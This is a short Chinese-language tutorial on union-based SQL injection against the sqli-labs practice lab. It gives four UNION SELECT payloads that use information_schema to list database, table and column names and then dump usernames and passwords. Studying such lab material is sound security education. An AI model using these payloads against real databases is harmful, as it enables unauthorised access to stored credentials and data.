摘要
本篇文章对原理的解释占据主要,输出的美化部分不做详细解释
一. 成果展示
假设我的数据库有这些
那么通过sql注入把所有数据库的所有表所有字段和所有的内容查找出来
二. 原理
对sql-labs的前四关有效,其实程序是根据sqli-lab的特点而不是像强大的工具sqlmap一样可以完全实现sql注入,而今天的核心就在于三个表达式
select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata; -- # //得到数据库名
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'; -- # //得到表名
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'; -- # //得到列名
select * from users where id='-1' union select 1,username,password from users where id=3; -- # //爆破得到数据
首先了解一下information_schema数据库,我们重点关注他的三个表(columns,schemata,tables)
schemata表的schena_name存储了所有数据库名
table表的table_schema和table_name存储了所有数据库的所有表
同理columns表存储了所有数据库(table_schema)的所有表(table_name)的所有字段(column_name)